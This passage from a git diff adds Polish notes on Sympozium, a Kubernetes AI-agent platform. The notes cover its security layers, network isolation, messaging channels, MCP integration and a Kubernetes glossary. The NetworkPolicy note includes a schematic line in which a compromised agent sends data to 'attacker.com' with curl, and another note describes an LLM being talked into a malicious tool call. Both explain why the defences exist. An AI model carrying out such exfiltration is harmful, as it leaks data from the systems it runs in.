└───────────────────────────────┘│││││ +│ │ │ └───────────────────────────────────┘││││ +│ │ └───────────────────────────────────────┘│││ +│ └───────────────────────────────────────────┘││ +└───────────────────────────────────────────────┘│ + │ +Multi-tenancy (namespaced CRDs + K8s RBAC) ─────┘ +``` + +## Szczegóły warstw + +### Warstwa 1: Ephemeral [[Pod]] Lifecycle +- Każdy run = nowy pod = czyste środowisko +- Brak persistent state w podzie +- Automatyczny cleanup po zakończeniu +- **Atak musi się zmieścić w jednym runie** + +### Warstwa 2: [[Sidecar Pattern|Sidecar]] Isolation +- Agent NIE MA credentials K8s API +- Tylko skill sidecar ma [[RBAC]] +- Tool calls przechodzą przez IPC (filesystem → NATS) +- **Compromised agent nie ma bezpośredniego dostępu do klastra** + +### Warstwa 3: Pod [[SecurityContext]] +```yaml +securityContext: + runAsNonRoot: true + runAsUser: 1000 + readOnlyRootFilesystem: true + allowPrivilegeEscalation: false + capabilities: + drop: ["ALL"] + seccompProfile: + type: RuntimeDefault +``` + +### Warstwa 4: Ephemeral [[RBAC]] +- Credentials żyją TYLKO przez czas runu +- Least-privilege (deklarowane w SkillPack) +- [[Namespace]]-scoped ([[ownerReference|ownerRef]] GC) + Cluster-scoped (label-based cleanup) +- **Brak standing god-role** + +### Warstwa 5: [[Admission Webhook]] +- `SympoziumPolicy` enforced PRZED tworzeniem poda +- Tool gating (allow/deny/ask per tool) +- Sandbox requirements +- Feature gates +- **Policy nie może być obejścia at runtime** + +### Warstwa 6: [[NetworkPolicy]] +- Deny-all egress na agent pods +- Tylko IPC bridge ma dostęp do NATS +- Whitelist konkretnych endpointów (API providerów) +- **Agent nie może sięgnąć do internetu ani innych podów** + +### Warstwa 7: Agent Sandbox (opcjonalna) +- [[gVisor]]: user-space kernel - agent nie komunikuje się z host kernel +- [[Kata Containers|Kata]]: lightweight VM - pełna izolacja na poziomie hypervisora +- Warm pools eliminują cold-start penalty +- **Nawet container escape nie daje dostępu do hosta** + +## Multi-tenancy + +Dodatkowa warstwa ortogonalna do powyższych: +- CRDs namespace-scoped +- Standard K8s RBAC kontroluje kto tworzy agentów +- Każdy tenant (SympoziumInstance) izolowany +- ownerReferences zapobiegają cross-tenant access + +## Porównanie z alternatywami + +| Warstwa | Sympozium | kagent | LangChain | +|---------|-----------|--------|-----------| +| Ephemeral lifecycle | Job per run | Persistent engine | In-process | +| Sidecar isolation | Tak | Nie | Nie | +| SecurityContext | Hardened | Standard | N/A | +| Ephemeral RBAC | Tak | Standing SA | N/A | +| Admission webhook | SympoziumPolicy | Nie | Nie | +| NetworkPolicy | deny-all | Nie | Nie | +| Kernel sandbox | gVisor/Kata | Nie | Nie | + +--- + +Powiązane: [[Agent Sandbox - gVisor i Kata]] | [[Efemeryczny RBAC per-run]] | [[NetworkPolicy i izolacja sieciowa]] diff --git a/05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md b/05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md new file mode 100644 index 0000000..fc37c90 --- /dev/null +++ b/05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md @@ -0,0 +1,76 @@ +# NetworkPolicy i izolacja sieciowa + +#sympozium #security #network + +## Zasada + +Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS. + +## Implementacja + +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: agent-deny-all +spec: + podSelector: + matchLabels: + sympozium.ai/component: agent + policyTypes: + - Egress + egress: [] # DENY ALL +``` + +## Wyjątki (via SympoziumPolicy) + +```yaml +networkPolicy: + denyAll: true + allowDNS: true # Agent może rozwiązywać nazwy + allowEventBus: true # IPC Bridge → NATS + allowedEgress: # Whitelist + - host: "api.openai.com" + port: 443 +``` + +## Dlaczego to ważne? + +### Scenariusz ataku bez NetworkPolicy: +``` +Compromised agent → curl attacker.com → exfiltrate data +Compromised agent → curl internal-api.svc → lateral movement +``` + +### Z NetworkPolicy: +``` +Compromised agent → curl anything → BLOCKED +Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ) +``` + +## Architektura izolacji + +``` +┌─────────────────────────────────────────┐ +│ Agent Pod (deny-all egress) │ +│ │ +│ ┌──────────┐ ┌──────────────┐ │ +│ │ Agent │ │ IPC Bridge │→→→ NATS │ +│ │ (no net)│ │ (has net) │ │ +│ └──────────┘ └──────────────┘ │ +│ │ │ +│ └── /ipc/ (filesystem only) ──────┘│ +└──────────────────────────────────────────┘ +``` + +Agent kontener: +- Brak dostępu sieciowego +- Komunikacja tylko przez filesystem (/ipc/) + +IPC Bridge sidecar: +- Ma dostęp TYLKO do NATS +- Bridguje filesystem → NATS + +--- + +Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]] diff --git a/06-Komunikacja/Kanały - Telegram Slack Discord WhatsApp.md b/06-Komunikacja/Kanały - Telegram Slack Discord WhatsApp.md new file mode 100644 index 0000000..57bb921 --- /dev/null +++ b/06-Komunikacja/Kanały - Telegram Slack Discord WhatsApp.md @@ -0,0 +1,105 @@ +# Kanały - Telegram, Slack, Discord, WhatsApp + +#sympozium #komunikacja #channels + +## Architektura + +Każdy kanał to **dedykowany Kubernetes Deployment** - osobny pod, osobny lifecycle, osobne credentials. + +``` +┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ +│ Telegram │ │ Slack │ │ Discord │ │ WhatsApp │ +│ Deployment │ │ Deployment │ │ Deployment │ │ Deployment │ +│ │ │ Socket Mode │ │ │ │ + PVC │ +└──────┬───────┘ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ + │ │ │ │ + └────────────────┴─────────────────┴────────────────┘ + │ + NATS JetStream + │ + Channel Router + │ + AgentRun Controller +``` + +## Przepływ wiadomości + +``` +Użytkownik → Telegram + ↓ +Channel Pod: telegram/main.go + ↓ +NATS: channel.message.received + payload: { + instanceName: "my-agent", + channelType: "telegram", + senderID: "123456", + chatID: "789", + text: "Sprawdź stan klastra" + } + ↓ +Channel Router: + 1. Lookup SympoziumInstance + 2. Access control check (allowedSenders, deniedSenders) + 3. Tworzy AgentRun CR z task = text wiadomości + ↓ +AgentRun → Job → Agent → wynik + ↓ +NATS: channel.message.send + ↓ +Channel Pod → Telegram → Użytkownik +``` + +## Kanały + +| Kanał | Obraz | Specyfika | +|-------|-------|-----------| +| Telegram | `channel-telegram` | Bot API | +| Slack | `channel-slack` | Socket Mode + Events API | +| Discord | `channel-discord` | Bot API | +| WhatsApp | `channel-whatsapp` | QR pairing + PVC dla persistence | + +### WhatsApp - specjalny przypadek +- Wymaga PVC dla credential persistence (QR link przetrwa restart) +- Strategy: Recreate (nie RollingUpdate, bo RWO PVC) +- ConfigRef opcjonalny (auth via QR, nie secret) + +## Konfiguracja + +```yaml +# W SympoziumInstance +spec: + channels: + - type: telegram + configRef: + secret: telegram-bot-token + accessControl: + allowedSenders: ["user123"] + deniedSenders: ["spammer456"] + allowedChats: ["group789"] + denyMessage: "You are not authorized." +``` + +## Reconciliation + +`SympoziumInstanceReconciler.reconcileChannels()`: +1. Dla każdego kanału w spec: + - Waliduje istnienie secretu + - Tworzy/aktualizuje Deployment + - Raportuje status (Connected/Disconnected/Error) +2. Deployment tworzony z: + - Image: `channel-:` + - Env: INSTANCE_NAME, EVENT_BUS_URL, OTEL_* + - EnvFrom: secret z credentials kanału + +## Access Control + +Wielowarstwowy: +1. `allowedSenders` - whitelist (jeśli set, TYLKO ci nadawcy) +2. `deniedSenders` - blacklist (nadpisuje whitelist) +3. `allowedChats` - whitelist chat/group IDs +4. `denyMessage` - wiadomość dla odrzuconych (lub cichy drop) + +--- + +Powiązane: [[SympoziumInstance]] | [[NATS JetStream - Event Bus]] | [[Przepływ danych i IPC]] diff --git a/06-Komunikacja/MCP Servers - Model Context Protocol.md b/06-Komunikacja/MCP Servers - Model Context Protocol.md new file mode 100644 index 0000000..af32726 --- /dev/null +++ b/06-Komunikacja/MCP Servers - Model Context Protocol.md @@ -0,0 +1,85 @@ +# MCP Servers - Model Context Protocol + +#sympozium #komunikacja #mcp + +## Koncepcja + +MCP (Model Context Protocol) to protokół umożliwiający **rozszerzanie możliwości agentów** o zewnętrzne narzędzia. Sympozium integruje MCP jako first-class citizen z pełnym lifecycle management. + +## Architektura + +``` +MCPServer CRD → Controller + ├── Managed: Deploy + Service + probe tools + └── External: Just probe tools + +SympoziumInstance.mcpServers[] → reference MCPServer + ↓ +AgentRun → Reconciler: + 1. Resolve MCPServer URLs (status.url) + 2. Create MCP ConfigMap (server configs) + 3. Add mcp-bridge sidecar to pod + ↓ +Agent Pod: + ┌──────────┐ ┌──────────────┐ ┌──────────────┐ + │ Agent │──│ MCP Bridge │──│ MCP Server │ + │ │ │ Sidecar │ │ (remote) │ + │ gh_* │ │ Translates: │ │ │ + │ tools │ │ tool call → │ │ GitHub API │ + │ │ │ MCP protocol│ │ │ + └──────────┘ └──────────────┘ └──────────────┘ +``` + +## Tool namespacing + +Problem: wiele MCP serwerów może mieć tool o tej samej nazwie. + +Rozwiązanie: **toolsPrefix** - każde narzędzie z danego serwera dostaje prefix: + +``` +GitHub MCP (prefix: gh) → gh_create_issue, gh_list_repos +Jira MCP (prefix: jira) → jira_create_ticket, jira_search +Slack MCP (prefix: sl) → sl_send_message, sl_list_channels +``` + +## Tool filtering + +```yaml +toolsAllow: [create_issue] # TYLKO te narzędzia (whitelist) +toolsDeny: [delete_repo] # BLOKUJ te narzędzia (blacklist) +``` + +`toolsDeny` applied after `toolsAllow` - można pozwolić na all except specific. + +## Auto-discovery + +Controller probeuje MCP server po deploy: +1. Wysyła MCP tools/list request +2. Odkrywa dostępne narzędzia +3. Aplikuje allow/deny filtry +4. Zapisuje w `status.tools[]` +5. Aktualizuje `status.toolCount` + +## Transport modes + +### stdio → HTTP adapter +Serwer MCP używa stdio (stdin/stdout). Controller automatycznie dodaje HTTP adapter: +``` +Container: my-mcp-server --stdio + ↓ +HTTP adapter: wraps stdio → HTTP endpoint + ↓ +mcp-bridge sidecar connects via HTTP +``` + +### HTTP (native) +Serwer MCP natywnie serwuje HTTP: +``` +Container: my-mcp-server --port 8080 + ↓ +mcp-bridge sidecar connects directly +``` + +--- + +Powiązane: [[MCPServer]] | [[SympoziumInstance]] | [[Przepływ danych i IPC]] diff --git a/06-Komunikacja/Node Probe - odkrywanie inferencji.md b/06-Komunikacja/Node Probe - odkrywanie inferencji.md new file mode 100644 index 0000000..3625ff7 --- /dev/null +++ b/06-Komunikacja/Node Probe - odkrywanie inferencji.md @@ -0,0 +1,60 @@ +# Node Probe - odkrywanie inferencji + +#sympozium #komunikacja #inference #discovery + +## Koncepcja + +Node Probe to **DaemonSet** odkrywający lokalne inference providers (Ollama, vLLM, llama-cpp, LM Studio) zainstalowane bezpośrednio na nodach klastra. + +## Jak to działa + +``` +Node Probe Pod (DaemonSet - jeden per node) + ↓ +Probeuje localhost ports: + - :11434 (Ollama) + - :8000 (vLLM) + - :1234 (LM Studio) + - :8080 (llama-cpp) + ↓ +Jeśli znalazł provider: + - Pobiera listę modeli (GET /v1/models) + - Annotuje node: + sympozium.ai/inference-provider: ollama + sympozium.ai/inference-models: llama3.2,codellama + sympozium.ai/inference-url: http://localhost:11434/v1 + ↓ +API Server czyta annotacje node'ów + ↓ +TUI/Web wizard pokazuje dostępne node'y i modele + ↓ +Użytkownik wybiera → nodeSelector w SympoziumInstance +``` + +## Cel + +Dla lokalnych providerów (Ollama na GPU node) nie trzeba: +- Ręcznie konfigurować baseURL +- Szukać na jakich nodach jest Ollama +- Sprawdzać jakie modele są dostępne + +Node Probe automatyzuje discovery i prezentuje w UI. + +## nodeSelector + +```yaml +# SympoziumInstance +spec: + agents: + default: + model: llama3.2 + baseURL: "http://localhost:11434/v1" + nodeSelector: + sympozium.ai/inference-provider: ollama +``` + +Agent pods będą schedulowane TYLKO na nodach z Ollama. + +--- + +Powiązane: [[SympoziumInstance]] | [[Control Plane]] diff --git a/06-Komunikacja/Web Endpoints - OpenAI-compat API.md b/06-Komunikacja/Web Endpoints - OpenAI-compat API.md new file mode 100644 index 0000000..3641ff2 --- /dev/null +++ b/06-Komunikacja/Web Endpoints - OpenAI-compat API.md @@ -0,0 +1,93 @@ +# Web Endpoints - OpenAI-compat API + +#sympozium #komunikacja #web #api + +## Koncepcja + +Sympozium może eksponować agentów jako **HTTP API** kompatybilne z OpenAI API i MCP protocol. + +## Architektura + +``` +HTTP Client + ↓ +Envoy Gateway → HTTPRoute (per instance) + ↓ +Web Proxy Pod (Deployment - server mode): + ├── Agent container + ├── Web Proxy sidecar: + │ ├── POST /v1/chat/completions → tworzy AgentRun (task mode) + │ ├── GET /v1/models → listuje dostępne modele + │ ├── SSE /sse → MCP streaming + │ ├── POST /message → MCP request + │ └── Auth: Bearer sk- API key + ├── IPC Bridge + └── Skill sidecars +``` + +## Aktywacja + +Dodanie skillu `web-endpoint` do SympoziumInstance: +```yaml +skills: + - skillPackRef: web-endpoint +``` + +Instance Reconciler automatycznie: +1. Tworzy AgentRun w trybie server +2. AgentRun Reconciler tworzy Deployment + Service +3. Jeśli Gateway dostępny → HTTPRoute + +## Endpointy + +| Endpoint | Metoda | Opis | +|----------|--------|------| +| `/v1/chat/completions` | POST | OpenAI-compatible chat | +| `/v1/models` | GET | Lista modeli | +| `/sse` | GET | MCP SSE stream | +| `/message` | POST | MCP request | +| `/health` | GET | Health check | + +## Auto-generated API key + +Controller automatycznie generuje Secret z API key: +``` +Secret: -web-endpoint-key + Data: + api-key: sk- +``` + +Użytkownik używa klucza w Bearer auth: +```bash +curl -H "Authorization: Bearer sk-abc123" \ + https://my-agent.sympozium.example.com/v1/chat/completions +``` + +## Rate limiting + +```yaml +webEndpoint: + rateLimit: + requestsPerMinute: 60 + burstSize: 10 +``` + +## Per-request AgentRun + +Kluczowe: Web proxy sam działa jako Deployment (server mode), ale **każdy przychodzący request tworzy osobny AgentRun w trybie task**: + +``` +POST /v1/chat/completions + ↓ +Web Proxy → tworzy AgentRun (mode: task, label: source=web-proxy) + ↓ +AgentRun → Job → Agent → wynik + ↓ +Web Proxy → HTTP Response (blocking lub streaming) +``` + +To zachowuje ephemeral model: izolacja, RBAC, cleanup per request. + +--- + +Powiązane: [[Tryb Server vs Task]] | [[SympoziumInstance]] | [[Cykl życia AgentRun]] diff --git a/07-Porównania/Sympozium vs frameworki in-process.md b/07-Porównania/Sympozium vs frameworki in-process.md new file mode 100644 index 0000000..66ad122 --- /dev/null +++ b/07-Porównania/Sympozium vs frameworki in-process.md @@ -0,0 +1,75 @@ +# Sympozium vs frameworki in-process + +#sympozium #porównanie #langchain #crewai + +## Kontekst + +Frameworki in-process (LangChain, CrewAI, AutoGen, LlamaIndex) uruchamiają agentów w jednym procesie. Sympozium reprezentuje podejście "infrastructure-native". + +## Porównanie architektoniczne + +| Aspekt | In-process frameworks | Sympozium (K8s-native) | +|--------|----------------------|------------------------| +| **Wykonanie agenta** | Shared memory, single process | Ephemeral **Pod** per invocation | +| **Orkiestracja** | In-process registry + queue | **CRD-based** + controller reconciliation | +| **Sandbox** | Docker sidecar (long-lived) | Pod **SecurityContext** + Agent Sandbox | +| **IPC** | In-process EventEmitter | Filesystem sidecar + **NATS JetStream** | +| **Tool gating** | In-process pipeline | **Admission webhooks** + SympoziumPolicy | +| **Persistent memory** | Files on disk | **SQLite + FTS5** na PVC | +| **Scheduled tasks** | Cron jobs / external | **SympoziumSchedule CRD** | +| **State** | SQLite + flat files | **etcd** + PostgreSQL | +| **Multi-tenancy** | Single-instance file lock | **Namespaced CRDs** + RBAC | +| **Scaling** | Vertical only | **Horizontal** - stateless control plane | +| **Channels** | In-process per channel | Dedicated **Deployment** per channel | +| **External tools** | Plugin SDKs | **MCPServer CRD** + auto-discovery | +| **Observability** | Application logs | kubectl, OTel, TUI, Web UI | + +## Dlaczego "infrastructure-native"? + +Sympozium nie implementuje orkiestracji w kodzie aplikacji. Zamiast tego **mapuje koncepty agentowe na prymitywy Kubernetes**: + +``` +LangChain concept → Sympozium concept → K8s primitive +───────────────────────────────────────────────────────────── +Agent → AgentRun → Job/Pod +Tool → SkillPack sidecar → Container + RBAC +Memory → Memory server → Deployment + PVC +Chain → Sub-agents → Parent-child Jobs +Guard rail → SympoziumPolicy → Admission Webhook +Scheduler → SympoziumSchedule → CRD + Controller +Callback handler → NATS events → JetStream pub/sub +Vector store → SQLite FTS5 → PVC-backed DB +``` + +## Analiza trade-offs + +### Complexity +- **In-process:** Prosty pip install, kilka linii Pythona +- **Sympozium:** K8s cluster, Helm install, CRDs, controllers + +### Flexibility +- **In-process:** Dowolny Python code, łatwe prototyping +- **Sympozium:** Deklaratywny YAML, ograniczony do tego co CRDs oferują + +### Production readiness +- **In-process:** Trzeba samemu zbudować izolację, scaling, monitoring +- **Sympozium:** Built-in isolation, scaling, monitoring, multi-tenancy + +### Debugging +- **In-process:** Standard Python debugger, print statements +- **Sympozium:** kubectl logs, OTel traces, TUI, CRD status + +## Kiedy co? + +| Scenariusz | In-process | Sympozium | +|-----------|------------|-----------| +| Prototyping | Idealne | Overkill | +| Single developer | Idealne | Za dużo overhead | +| Production multi-tenant | Trudne | Idealne | +| Cluster operations | Niebezpieczne | Bezpieczne | +| Scheduled automation | Wymaga dodatkowej infra | Built-in | +| Compliance/audit | Wymaga budowy | Native | + +--- + +Powiązane: [[Sympozium vs kagent]] | [[Kluczowe decyzje projektowe]] | [[Model efemerycznych agentów]] diff --git a/07-Porównania/Sympozium vs kagent.md b/07-Porównania/Sympozium vs kagent.md new file mode 100644 index 0000000..0fb1c50 --- /dev/null +++ b/07-Porównania/Sympozium vs kagent.md @@ -0,0 +1,84 @@ +# Sympozium vs kagent + +#sympozium #porównanie #kagent + +## Fundamentalna różnica + +| | Sympozium | kagent | +|---|-----------|--------| +| **Model wykonania** | Ephemeral Pod (Job) per run | Persistent engine process | +| **Optymalizuje dla** | Izolacja, bezpieczeństwo, auditability | Niska latencja, konwersacja | + +## Szczegółowe porównanie + +| Wymiar | Sympozium | kagent | +|--------|-----------|--------| +| **Agent runtime** | Ephemeral Pod (K8s Job) | Long-running engine (Python/Go ADK) | +| **Tool isolation** | Sidecar per skill + ephemeral RBAC | In-process (MCP client w engine) | +| **Kernel sandbox** | gVisor/Kata via agent-sandbox + warm pools | Brak | +| **Multi-tenancy** | Namespace-per-tenant, per-instance RBAC, webhooks | Namespace-scoped CRDs | +| **Agent packaging** | PersonaPacks (bundle personas+skills+schedules+memory) | Individual Agent CRDs | +| **Persistent memory** | SQLite + FTS5 na PVC | Vector-backed (in-engine) | +| **Channels** | Telegram, Slack, Discord, WhatsApp (dedykowane Deployments + NATS) | Slack, Discord (in-engine) | +| **Scheduled runs** | SympoziumSchedule CRD + concurrency policies | Brak | +| **MCP** | MCPServer CRD + auto-discovery + tool filtering + managed deploy | MCP tools as CRDs | +| **Human-in-the-loop** | SympoziumPolicy CRD (admission-time) | Tool-level approve/reject w UI | + +## Analiza: Tool Isolation + +**To najważniejsza różnica z perspektywy bezpieczeństwa.** + +### kagent (in-process): +``` +Engine process (z credentials) + ↓ +Tool call: kubectl get pods + ↓ +Wykonanie w tym samym procesie z tymi samymi credentials +``` + +Jeśli LLM "przekona" engine do złośliwego tool call → pełne uprawnienia engine'a. + +### Sympozium (sidecar): +``` +Agent container (BEZ credentials K8s) + ↓ +Tool call: kubectl get pods + ↓ +/ipc/tools/cmd.json → IPC Bridge → NATS → Skill Sidecar + ↓ +Sidecar (z scoped, ephemeral RBAC: ONLY get pods) +``` + +Agent nigdy nie ma bezpośrednich credentials. Sidecar ma minimum wymaganych uprawnień. + +## Kiedy który? + +### Wybierz Sympozium gdy: +- Agenty wykonują cluster-admin operations (kubectl, helm, scaling) +- Multi-tenant environment (wiele zespołów, jeden klaster) +- Scheduled, unattended runs (nocne sweepy, triage alertów) +- Kanały poza Slack/Discord (Telegram, WhatsApp) +- Kernel-level sandboxing (untrusted agent code) +- Auditability i compliance requirements + +### Wybierz kagent gdy: +- Low-latency conversational agents (brak cold-start) +- Google ADK, CrewAI, LangGraph integration +- Single-tenant experimentation +- A2A (Agent-to-Agent) protocol support +- Lżejszy setup + +## Trade-off spectrum + +``` +Szybkość odpowiedzi ←─────────────────────────→ Izolacja/Bezpieczeństwo + kagent Sympozium + (persistent engine, (ephemeral pods, + fast responses, strong isolation, + shared process) per-run RBAC) +``` + +--- + +Powiązane: [[Model efemerycznych agentów]] | [[Skill Sidecars i auto-RBAC]] | [[Agent Sandbox - gVisor i Kata]] diff --git a/08-Słownik-K8s/Admission Webhook.md b/08-Słownik-K8s/Admission Webhook.md new file mode 100644 index 0000000..7349798 --- /dev/null +++ b/08-Słownik-K8s/Admission Webhook.md @@ -0,0 +1,77 @@ +# Admission Webhook + +#kubernetes #security #api #słownik + +## Co to jest? + +**Admission Webhook** to mechanizm Kubernetes pozwalający na **przechwycenie i walidację/modyfikację żądań do API servera** zanim zasób zostanie zapisany w etcd. + +## Typy + +### Validating Admission Webhook +- **Sprawdza** czy żądanie jest prawidłowe +- Może ALLOW lub DENY +- Nie modyfikuje żądania +- Przykład: "Czy AgentRun spełnia SympoziumPolicy?" + +### Mutating Admission Webhook +- **Modyfikuje** żądanie przed walidacją +- Może dodawać, usuwać lub zmieniać pola +- Przykład: "Dodaj domyślny SecurityContext do poda" + +## Przepływ + +``` +kubectl apply -f agentrun.yaml + ↓ +API Server: + 1. Authentication (kto?) + 2. Authorization / RBAC (czy może?) + 3. → Mutating Webhooks (modyfikacja) + 4. Schema Validation (OpenAPI) + 5. → Validating Webhooks (walidacja) + 6. Zapis do etcd +``` + +## Kluczowe cechy + +- **Synchroniczne** - żądanie czeka na odpowiedź webhooka +- **Fail-open / fail-closed** - konfiguracja co robić gdy webhook jest niedostępny +- **TLS required** - webhook musi serwować HTTPS (cert-manager w Sympozium) +- **Scope** - filtrowanie po zasobach, operacjach, namespace'ach + +## Przykład konfiguracji + +```yaml +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingWebhookConfiguration +metadata: + name: sympozium-webhook +webhooks: + - name: validate.sympozium.ai + rules: + - apiGroups: ["sympozium.ai"] + resources: ["agentruns"] + operations: ["CREATE", "UPDATE"] + clientConfig: + service: + name: sympozium-webhook + namespace: sympozium-system + path: /validate-agent-pods + failurePolicy: Fail # Odrzuć jeśli webhook niedostępny +``` + +## Użycie w Sympozium + +Sympozium używa admission webhook do enforcowania [[SympoziumPolicy]]: + +- Sprawdza czy [[AgentRun]] spełnia politykę bezpieczeństwa +- Waliduje tool gating (allow/deny per tool) +- Enforces sandbox requirements +- Sprawdza limity sub-agentów + +Enforcement odbywa się **at admission time** (przed tworzeniem poda), nie at runtime. Więcej w [[Admission Webhooks i polityki]]. + +--- + +Powiązane: [[Admission Webhooks i polityki]] | [[SympoziumPolicy]] | [[CRD - Custom Resource Definition]] diff --git a/08-Słownik-K8s/CRD - Custom Resource Definition.md b/08-Słownik-K8s/CRD - Custom Resource Definition.md new file mode 100644 index 0000000..97a9416 --- /dev/null +++ b/08-Słownik-K8s/CRD - Custom Resource Definition.md @@ -0,0 +1,87 @@ +# CRD - Custom Resource Definition + +#kubernetes #api #słownik + +## Co to jest? + +**Custom Resource Definition (CRD)** to mechanizm Kubernetes pozwalający na **rozszerzenie API klastra o własne typy zasobów**. Po zainstalowaniu CRD, nowy typ zasobu jest traktowany przez API server identycznie jak wbudowane zasoby (Pod, Service, Deployment). + +## Jak działa? + +``` +1. Instalacja CRD YAML → K8s API Server rejestruje nowy typ +2. Użytkownik tworzy instancję → Zapisana w etcd jak każdy zasób +3. Controller obserwuje → Reconciliuje desired state → actual state +``` + +## Przykład + +```yaml +# Definicja CRD +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + name: agentruns.sympozium.ai +spec: + group: sympozium.ai + versions: + - name: v1alpha1 + served: true + storage: true + scope: Namespaced + names: + plural: agentruns + singular: agentrun + kind: AgentRun +``` + +```yaml +# Instancja CRD (Custom Resource / CR) +apiVersion: sympozium.ai/v1alpha1 +kind: AgentRun +metadata: + name: my-run +spec: + task: "Check cluster health" +``` + +## Kluczowe koncepty + +| Koncept | Opis | +|---------|------| +| **CRD** | Definicja typu (schemat) | +| **CR** (Custom Resource) | Instancja danego typu | +| **Controller** | Kod obserwujący CR i realizujący intent | +| **Operator** | Controller + CRD + logika domenowa | +| **Status subresource** | Oddzielny endpoint do aktualizacji statusu | +| **Finalizer** | Blokuje usunięcie do czasu cleanup | +| **Validation** | Schema validation (OpenAPI v3) lub webhook | + +## Dlaczego CRD a nie ConfigMap? + +| CRD | ConfigMap | +|-----|-----------| +| Typowane, walidowane | Dowolne dane | +| Status subresource | Brak statusu | +| kubectl native (`kubectl get agentruns`) | Wymaga custom tooling | +| RBAC per-resource | RBAC per-configmap | +| Watch API (event-driven) | Polling | +| ownerReferences (GC) | Manualne zarządzanie | + +## CRD w Sympozium + +Sympozium definiuje **7 CRDs** (API group: `sympozium.ai/v1alpha1`): + +| CRD | Opis | +|-----|------| +| [[SympoziumInstance]] | Tożsamość agenta / tenant | +| [[AgentRun]] | Pojedyncze wywołanie agenta | +| [[PersonaPack]] | Bundle pre-konfigurowanych agentów | +| [[SkillPack]] | Portable skills (Markdown + sidecar) | +| [[SympoziumPolicy]] | Polityki governance | +| [[SympoziumSchedule]] | Cron-based recurring tasks | +| [[MCPServer]] | External MCP tool providers | + +--- + +Powiązane: [[Controller i Reconciler]] | [[Finalizer]] | [[ownerReference]] diff --git a/08-Słownik-K8s/ConfigMap i Secret.md b/08-Słownik-K8s/ConfigMap i Secret.md new file mode 100644 index 0000000..6672399 --- /dev/null +++ b/08-Słownik-K8s/ConfigMap i Secret.md @@ -0,0 +1,82 @@ +# ConfigMap i Secret + +#kubernetes #storage #słownik + +## ConfigMap + +**ConfigMap** przechowuje **niekonfidencjalne dane** jako pary klucz-wartość. Montowane jako pliki lub zmienne środowiskowe w podach. + +```yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: my-agent-memory +data: + MEMORY.md: | + # Agent Memory + - Detected OOM on pod-x +``` + +### Montowanie jako pliki +```yaml +volumes: + - name: skills + configMap: + name: skillpack-k8s-ops +volumeMounts: + - name: skills + mountPath: /skills + readOnly: true +``` + +### Ograniczenia +- Max rozmiar: **1 MB** (etcd limit) +- Brak szyfrowania +- Widoczne w kubectl describe + +## Secret + +**Secret** przechowuje **poufne dane** (hasła, tokeny, klucze) zakodowane w base64. + +```yaml +apiVersion: v1 +kind: Secret +metadata: + name: openai-key +type: Opaque +data: + OPENAI_API_KEY: c2stYWJjMTIz # base64 encoded +``` + +### Montowanie jako env vars +```yaml +envFrom: + - secretRef: + name: openai-key +``` + +### Typy Secrets +| Typ | Opis | +|-----|------| +| `Opaque` | Dowolne dane | +| `kubernetes.io/tls` | Certyfikaty TLS | +| `kubernetes.io/dockerconfigjson` | Docker registry credentials | +| `kubernetes.io/service-account-token` | Token SA | + +## Użycie w Sympozium + +### ConfigMaps +- **Skills** - SkillPack → ConfigMap z Markdown instrukcjami, montowany w `/skills/` +- **Memory** (legacy) - `-memory` z kluczem `MEMORY.md` +- **Input** - Task + system prompt dla agenta +- **MCP config** - Konfiguracja MCP serwerów + +### Secrets +- **AuthRefs** - Klucze API providerów LLM (OPENAI_API_KEY, ANTHROPIC_API_KEY) +- **Channel credentials** - Telegram bot token, Slack token +- **Web endpoint API key** - Auto-generated `sk-` +- **Skill secrets** - GH_TOKEN dla github-gitops (mirrored do namespace runu) + +--- + +Powiązane: [[SkillPack]] | [[Persistent Memory]] | [[SympoziumInstance]] diff --git a/08-Słownik-K8s/Controller i Reconciler.md b/08-Słownik-K8s/Controller i Reconciler.md new file mode 100644 index 0000000..eb6f948 --- /dev/null +++ b/08-Słownik-K8s/Controller i Reconciler.md @@ -0,0 +1,79 @@ +# Controller i Reconciler + +#kubernetes #architecture #operator #słownik + +## Co to jest? + +**Controller** to pętla kontrolna w Kubernetes obserwująca stan zasobów i **doprowadzająca rzeczywisty stan do pożądanego** (desired state → actual state). **Reconciler** to funkcja wywoływana gdy stan zasobu zmienia się. + +## Wzorzec reconciliation + +``` +Desired state (CRD spec) → Controller → Actual state (K8s resources) + +Pętla: + 1. Observe: Watch API server for changes + 2. Diff: Compare desired vs actual + 3. Act: Create/update/delete resources + 4. Repeat +``` + +## Kluczowe koncepty + +| Koncept | Opis | +|---------|------| +| **Watch** | Subskrypcja na eventy (create/update/delete) | +| **Work queue** | Kolejka zasobów do reconciliation | +| **Reconcile()** | Funkcja wywoływana per zasób | +| **Requeue** | "Sprawdź mnie ponownie za N sekund" | +| **Idempotent** | Reconcile() musi być bezpieczne do wielokrotnego wywołania | +| **Level-triggered** | Reaguje na **stan**, nie na **event** | + +## Level-triggered vs edge-triggered + +``` +Edge-triggered: "Coś się zmieniło!" → reaguj na zmianę +Level-triggered: "Jaki jest aktualny stan?" → doprowadź do desired + +Kubernetes Controllers = LEVEL-TRIGGERED + → Nie ważne CO się zmieniło + → Ważne JAKI jest stan i JAKI powinien być + → Resilient na missed events +``` + +## controller-runtime + +Sympozium używa `sigs.k8s.io/controller-runtime` - framework Go dla Kubernetes controllers: + +```go +type AgentRunReconciler struct { + client.Client + Scheme *runtime.Scheme + Log logr.Logger +} + +func (r *AgentRunReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { + // 1. Fetch resource + // 2. Compare desired vs actual + // 3. Create/update/delete + // 4. Update status + return ctrl.Result{RequeueAfter: 10 * time.Second}, nil +} +``` + +## Controllers w Sympozium + +| Controller | Zasób | Co reconciliuje | +|------------|-------|-----------------| +| 